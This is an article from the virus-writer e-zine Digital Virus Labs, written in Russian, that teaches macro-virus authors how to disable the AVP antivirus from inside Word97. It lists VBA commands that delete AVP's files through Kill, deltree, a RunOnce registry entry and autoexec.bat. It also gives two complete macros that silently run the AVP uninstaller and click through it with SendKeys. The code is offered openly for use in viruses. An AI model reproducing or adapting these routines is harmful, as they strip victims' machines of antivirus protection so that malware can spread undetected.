- [Digital Virus Labs #11] - [Page 32] - Как скосить AVP на макро Word97 (c) by VOVAN/SMF =========================================================================== ПРИМЕЧАНИЕ РЕДАКТОРА: В статье использовались строки, выходящие за границы окна. Для устранения этой проблемы, длинные строки были разбиты. Признаком разбиения служит знак "<+>". Каждый раз. когда в тексте встретится данный знак, считайте, что он должен быть преобразован подобно тому, как в следующем примере: If System.Private<+> ProfileString("", <+> "example") преобразуется в If System.PrivateProfileString("", "example") то есть данный символ обозначает начало нижеследующей строки. =========================================================================== ┌────────────────────────────────────────────┐ │ Как правильно скосить AVP для макро Word97 │ └────────────────────────────────────────────┘ В этой статье, дорогой читатель, я расскажу, как удалить AVP с помощью VB, но сначала хотелось бы сказать несколько слов. Аверы наглеют не по дням, а по часам! Складывается такое впечатление, что аверам не хватает вирусов, вот они и перекинулись на то, что полегче, - безвредные програмки-шутки, генераторы кредитных карт, сканеры, и другой софт не имеющий отношения к вирусам. Такими темпами скоро аверы наложат свои грязные лапы на креки! Противостоять этому беспределу обычные программы не могут, этим и пользуются аверы, но вирусы могут противостоять. Каждый вирус от мало до велика, должен уметь себя защитить от AV ну и макро не исключение. В этой статье приведен еще один способ удаления AVP. Существует много способов на VB удалить AVP одни из самых распространенных: ──────────────────────────────────────────────────────────────────────────── Kill "C:\Program Files\AntiViral Toolkit Pro\*.avc" Kill "C:\Program Files\AntiViral Toolkit Pro\*.*" Shell ("del C:\Program Files\AntiViral Toolkit Pro\*.*"), 0 Shell ("deltree /y C:\Program Files\AntiViral Toolkit Pro"), 0 System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft<+> \Windows\CurrentVersion\RunOnce", "Adieus AVP") = "deltree /y <+> C:\Program Files\AntiViral Toolkit Pro" Open "c:\autoexec.bat" For Append As #1 Print #1, "@DEL C:\Program Files\AntiViral Toolkit Pro\*.*" Close 1 ──────────────────────────────────────────────────────────────────────────── Как правило, после выполнения всех этих команд, некоторый файлы AVP все равно остаются и при этом предупреждают юзера о повреждении антивирусных баз и т.д. Это происходит, потому что в момент удаления некоторые файлы AVP работают, и не могут быть удалены, или удаляются некорректно, вызывая после перезагрузки много шума. Но без этих команд вирус остается беззащитным против AVP и другой нечисти, рано или поздно он может попасть в антивирусную базу, и спокойно лечиться. Вот я и решил сделать, что ни будь полезное, а именно небольшой макрос. Суть его работы заключается в том, чтобы во время работы Word97 тихо запустить Uninstaller AVP и удалить AVP. Описание работы макроса ~~~~~~~~~~~~~~~~~~~~~~~ Макрос проверит реестр, не запускался ли он для этого он проверит метку в реестре: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce",<+> "!"="!" и если она отсутствует, проверит наличие AVP монитора в списке активных задач и если монитор работает, запустит файл AVPUnIns.EXE (который, как правило находится в каталоге Windows) после чего с помощью команды SendKeys "{TAB 3}" сымитирует в окне AVP Uninstall нажатие клавиши TAB три раза и выделит для нажатия кнопку "Выделить все" потом с помощью команды SendKeys "{ENTER}" нажмет на нее, после чего произойдет выделение всех компонентов AVP далее с помощью команды SendKeys "{TAB 3}" выделит для нажатия кнопку OK и с помощью команды SendKeys "{ENTER}" нажмет на нее вот, и все начнется удаление всех компонентов AVP, но даже после удаления AVP монитор остается работать до перезагрузки Windows и чтобы макрос зря не работал, мы его регистрируем в реестре "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce",<+> "!"="!" после перезагрузки запись в реестре очистится, а Windows загрузится без AVP и макрос будет снова ждать, когда же юзер установит AVP снова чтобы проделать выше сказанное. ──┤ Пример ├──────────────────────────────────────────────────────────────── Sub AntiAVP() 'VOVAN//SMF If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\<+> Microsoft\Windows\CurrentVersion\RunOnce", "!") <> "!" Then If Tasks.Exists("AVP Monitor") = True Then Shell "AVPUnIns.EXE", 0 SendKeys "{TAB 3}", True SendKeys "{ENTER}", True SendKeys "{TAB 3}", True SendKeys "{ENTER}", True System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\<+> Microsoft\Windows\CurrentVersion\RunOnce", "!") = "!" End If End If End Sub ──────────────────────────────────────────────────────────────────────────── Данный пример будет удалять компоненты AVP, только если AVP монитор загружен! Но можно сделать и так: ──┤ Пример 2 ├────────────────────────────────────────────────────────────── Sub AntiAVP() 'VOVAN//SMF If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\<+> Microsoft\Windows\CurrentVersion\RunOnce", "!") <> "!" Then Shell "AVPUnIns.EXE", 0 SendKeys "{TAB 3}", True SendKeys "{ENTER}", True SendKeys "{TAB 3}", True SendKeys "{ENTER}", True System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft<+> \Windows\CurrentVersion\RunOnce", "!") = "!" End If End Sub ──────────────────────────────────────────────────────────────────────────── Таким же образом можно удалить и другие AV нужно просто немного фантазии. В общем, приятной Вам борьбы с антивирусами ;-)